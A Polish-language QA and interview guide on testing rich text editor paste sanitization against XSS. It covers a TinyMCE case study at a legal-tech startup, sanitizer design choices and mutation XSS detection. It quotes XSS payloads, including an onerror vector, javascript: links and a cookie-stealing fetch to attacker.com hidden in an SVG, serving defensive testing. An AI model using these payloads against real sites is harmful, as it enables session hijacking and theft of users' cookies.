Historia: Edytory tekstu wzbogacone (RTE) są wszechobecne w systemach zarządzania treścią, jednak stanowią krytyczny obszar ataku. Gdy użytkownicy kopiują treści z Microsoft Word lub Google Docs, schowek zawiera złożony HTML z własnymi metadanymi, stylami wbudowanymi i potencjalnie złośliwymi ładunkami ukrytymi w znacznikach SVG lub wyrażeniach CSS. Kluczowy problem polega na tym, że naiwna sanitizacja może usunąć widoczne formatowanie, nie dostrzegając wykonalnych skryptów lub przeciwnie – zbyt silnie przeprowadzić sanitizację i zniszczyć uzasadnione struktury semantyczne, takie jak złożone tabele. Systematyczna metodologia testowania manualnego musi weryfikować zarówno bezpieczeństwo (brak XSS), jak i wierność (zachowana struktura).
Rozwiązanie: Wdrożenie trójfazowego protokołu ataku schowka:
Przygotowanie wektorów: Zbierz bibliotekę ładunków do wklejania, w tym SVG z osadzonym <foreignObject> zawierającym skrypty, CSS behavior: url(#default#VML) dla starego IE, HTML z zakodowanymi encjami javascript: oraz źle sformułowane tagi HTML5 zaprojektowane do wykorzystania dziwactw analizatora przeglądarki (np. <noscript><img src=x onerror=alert(1)></noscript>).
Symulacja wklejania między silnikami: Wykonaj rzeczywiste operacje kopiuj-wklej (nie pisanie) z Word (z rejestrowanymi zmianami, komentarzami i osadzonymi obiektami Excel), Google Docs (z sugerowanymi edytacjami i osadzonymi rysunkami) oraz surowego HTML skopiowanego z DevTools przeglądarki. Testuj w Chrome, Safari, Firefox i Edge oddzielnie, ponieważ każdy z nich różnie obsługuje typy MIME na schowku (text/html vs application/rtf).
Weryfikacja stanu: Po wklejeniu, sprawdź DOM za pomocą DevTools, aby potwierdzić, że on* handlery zdarzeń, javascript: URL-e i tagi <script> są nieobecne, jednocześnie weryfikując, że elementy semantyczne (<thead>, <colgroup>, zagnieżdżone listy) pozostają nienaruszone. Następnie zapisz treść, przeładuj stronę i ponownie sprawdź zserializowany HTML, aby wykryć mutation XSS, gdy analizator przeglądarki przywraca skrypty podczas ponownego renderowania.
Problem: Startup zajmujący się technologią prawną opracował aplikację do przeglądania umów przy użyciu TinyMCE, w której prawnicy wklejali klauzule z Microsoft Word. Audyt bezpieczeństwa ujawnił, że umowy zawierające logo dostawcy (w formacie SVG) wykonywały dowolny JavaScript, gdy były wyświetlane w panelu przeglądarki recenzenta. Pliki SVG zawierały <script>fetch('https://attacker.com?cookie='+document.cookie)</script> wewnątrz tagów <foreignObject>. Edytor wyświetlał je jako nieszkodliwe obrazy, ale surowy HTML przechowywany w bazie danych PostgreSQL wykonywał się w widoku tylko do odczytu, który używał dangerouslySetInnerHTML w React bez dodatkowej sanitizacji.
Rozważane rozwiązania:
Rozwiązanie A: Usuń cały HTML i przekształć na tekst zwykły. Zalety: Absolutna gwarancja bezpieczeństwa; brak możliwości XSS. Wady: Prawnicy stracili krytyczne formatowanie, takie jak wcięcia dla podklauzul umownych, kolorowe wyróżnienia dla oceny ryzyka oraz struktury tabel dla harmonogramów opłat. To uczyniło aplikację nieużyteczną dla procesów prawnych, powodując natychmiastowe odrzucenie przez użytkowników.
Rozwiązanie B: Polegaj wyłącznie na klientowskiej DOMPurify z liberalną konfiguracją. Zalety: Zachowuje doświadczenia użytkownika i formatowanie; łatwe do wdrożenia. Wady: Klientowska sanitizacja może być ominięta poprzez bezpośrednie wywołanie REST API z złośliwymi ładunkami, omijając całkowicie edytor. Dodatkowo, domyślne ustawienia DOMPurify zezwalają na tagi SVG i atrybuty danych, które wykonują się w specyficznych wersjach Android WebView.
Rozwiązanie C: Wdrożenie obrony w głębokości z agresywnym czyszczeniem po stronie klienta dla natychmiastowej informacji zwrotnej, połączone z sanitizacją po stronie serwera przy użyciu OWASP Java HTML Sanitizer z surową polityką zezwalającą tylko na tagi strukturalne. Zalety: Łapie próby ominięcia na poziomie API; pozwala na niezbędne formatowanie prawne, neutralizując skrypty. Wady: Wymaga utrzymania dwóch konfiguracji polityki (frontend i backend); ryzyko spadku wydajności przy przetwarzaniu umów o długości ponad 100 stron; potencjalne wystąpienie "okienek zgody", jeśli polityki będą niespójne.
Wybrane rozwiązanie: Wybraliśmy Rozwiązanie C i dodaliśmy manualny punkt kontrolny QA specjalnie dla operacji wklejania. Zespół QA stworzył "Zestaw testów dla złośliwego schowka" zawierający ponad 75 wektorów omijania CSP, w tym animacje SVG i kontenery MathML. Odkryli, że ALLOWED_URI_REGEXP w DOMPurify zezwalał na javascript: URL-e zakodowane z użyciem encji HTML. Skonfigurowali sanitizer, aby spłaszczyć wszystkie SVG do statycznych tagów <img> z kodowaniem Base64, usuwając wszystkie interaktywne elementy.
Wynik: Luka została załatana przed wydaniem produkcyjnym. Metodologia wychwyciła dwa dodatkowe wektory mXSS związane z komentarzami HTML, które mutowały w wykonane skrypty w trybie czytania Safari. Zespół prawny zachował pełne możliwości formatowania, a kolejne testy penetracyjne wykazały brak wektorów wstrzyknięcia w procesie wklejania.
Jak wykryć mutation XSS (mXSS), gdzie parser przeglądarki zmienia zsanityzowany ciąg po wstawieniu, przywracając wykonane skrypty?
Wielu kandydatów sprawdza HTML natychmiast po wklejeniu, korzystając z "widoku źródłowego" edytora lub DevTools. Jednak mXSS występuje, gdy zsanityzowany ciąg jest przypisywany do innerHTML, przeglądarka go przetwarza, a resulting DOM różni się od oryginalnego ciągu z powodu normalizacji parsera (np. <noscript><img title="--><script>... mutacje). Odpowiednie podejście polega na przeprowadzeniu testu round-trip: zserializowanie DOM z powrotem do ciągu za pomocą element.innerHTML po wstawieniu, a następnie porównaniu go z oczekiwanym zsanityzowanym wyjściem. Jeśli nowe tagi <script> lub handlery zdarzeń pojawiają się po tej serializacji, sanitizer jest podatny na ataki. Dodatkowo, przetestuj specjalnie w IE11, jeśli jest to możliwe, ponieważ jego zachowanie parsera dla źle sformułowanych tabel różni się znacznie od Blink lub Gecko.
Dlaczego treści mogą być poprawnie i bezpiecznie wklejane w edytorze, ale mogą nie przejść walidacji bezpieczeństwa, gdy te same treści są później ładowane do widoku tylko do odczytu React za pomocą dangerouslySetInnerHTML?
Kandydaci często pomijają "dryf sanitizacji kontekstowej". Edytory tekstu wzbogacone przeprowadzają sanitizację w kontekście edytowania, ale kontekst wyświetlania może korzystać z różnych wersji React, nagłówków Content Security Policy lub dodatkowych bibliotek JavaScript, które ponownie analizują treść. Odpowiedzią jest to, że musisz zweryfikować przechowywaną treść przez cały cykl życia: wklej → zapisz do API → pobierz z API → renderuj w widoku tylko do odczytu. Szczególnie sprawdź problemy z "podwójnym kodowaniem", gdzie < staje się &lt; podczas przechowywania w bazie danych, lub różnice w normalizacji Unicode między obsługą UTF-8 edytora a kolacją bazy danych. Testuj ładunki zawierające inteligentne cudzysłowy (cudzysłowy zakrzywione) i em-dash, które Word automatycznie zamienia, aby upewnić się, że konfiguracja bazy danych UTF-8MB4 nie obcina wielobajtowych znaków, co może potencjalnie złamać granice sanitizacji i umożliwiać wstrzyknięcie skryptów.
Jak ręcznie zweryfikować zachowanie sanitizacji, gdy aplikacja korzysta z edytora opartego na Markdown (takiego jak CKEditor 5 z wyjściem Markdown) zamiast zwykłego przechowywania HTML?
To testuje zrozumienie ryzyk związanych z konwersją formatów. Gdy edytory konwertują HTML na Markdown (np. za pomocą Turndown), złośliwe ładunki mogą ukrywać się w atrybutach HTML, które nie mają odpowiednika w Markdown, potencjalnie są częściowo usuwane lub konwertowane na odnośniki, które wykonują się po kliknięciu. Odpowiednia metodologia obejmuje: (1) Wklejenie złośliwego HTML do edytora, (2) Przejście do widoku źródłowego Markdown, aby upewnić się, że niebezpieczne atrybuty zniknęły (a nie tylko są wizualnie ukryte), (3) Ponowna konwersja z powrotem do HTML (jeśli jest to wspierane), aby upewnić się, że okrągła podróż nie przywraca skryptów, i (4) Sprawdzenie, czy składnia linków Markdown [text](javascript:alert(1)) jest wyraźnie blokowana przez regex walidacji linków parsera, a nie tylko renderera. Dodatkowo sprawdź, czy komentarze HTML <!-- --> (które mogą zepsuć parsery Markdown) są usuwane, aby zapobiec wyciekom wrażliwych danych serwera.